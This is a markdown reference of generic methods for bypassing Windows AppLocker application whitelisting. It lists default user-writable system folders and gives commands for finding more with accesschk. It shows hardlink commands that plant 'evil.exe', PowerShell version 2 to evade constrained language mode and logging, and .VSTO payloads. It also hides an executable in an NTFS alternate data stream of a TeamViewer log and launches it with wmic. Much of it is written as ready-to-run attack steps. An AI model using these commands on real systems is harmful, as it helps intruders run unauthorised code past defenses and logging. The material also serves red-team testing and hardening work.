This list contains generic methods of bypassing AppLocker.

## Placing files in writeable paths

The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803)
```
C:\Windows\Tasks 

C:\Windows\Temp 

C:\windows\tracing

C:\Windows\Registration\CRMLog

C:\Windows\System32\FxsTmp

C:\Windows\System32\com\dmp

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

C:\Windows\System32\spool\PRINTERS

C:\Windows\System32\spool\SERVERS

C:\Windows\System32\spool\drivers\color

C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter

C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)

C:\Windows\SysWOW64\FxsTmp

C:\Windows\SysWOW64\com\dmp

C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter

C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

If you can place a file or folder into the path you become the owner of that object and you can change the ACL either in GUI or using ICALS. That includes adding Execute rights and more.
If deny execute is inherit you can either disable inheritance or you can use hardlink to a binary file in another folder using one of these commands:
```
fsutil hardlink create c:\windows\system32\fxstmp\evil.exe c:\myfolder\plantedfile.exe 

mklink /h c:\windows\system32\fxstmp\evil.exe c:\myfolder\plantedfile.exe 
```


You can check the for additional paths by running accesschk from sysinternals and supplying these commands:
```
accesschk -w -s -q -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:\Program Files" >> programfiles.txt

accesschk -w -s -q -u Users "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt

accesschk -w -s -q -u Users "C:\Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:\Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:\Windows" >> windows.txt
```

## User writeable files
There are cases where files are writeable by the user and can be used to bypass AppLocker. One such known case is 3 files under C:\windows\system32\AppLocker called:

* AppCache.dat
* AppCache.dat.LOG1
* AppCache.dat.LOG2

These files are writeable by the first user that logs on to the computer after AppLocker has been deployed to the machine. More details here: 

* https://oddvar.moe/2019/05/29/a-small-discovery-about-applocker/
   
## PowerShell version 2

```
Powershell -version 2
```
Bypasses Constrained language mode in PowerShell (and also logging). To fix this Powershell version 2 should be removed from Add/Remove Windows features. 
   
   
    
## Visual Studio Tools for Office - .VSTO files

```
evilfile.vsto
```

You need to build a solution using Visual Studio Tools for Office. 
User needs to confirm installation after executing. 

* https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/
      
     
     
## NTFS Alternate Data Streams (ADS)

AppLocker rules does not stop things that execute in ADS. More info on that here: https://hitco.at/blog/howto-prevent-bypassing-applocker-using-alternate-data-streams/
This means you can pipe data to a stream and execute it using many of the different methods:
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Example on adding binary to a writable file under program files (using ADS):
```
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

```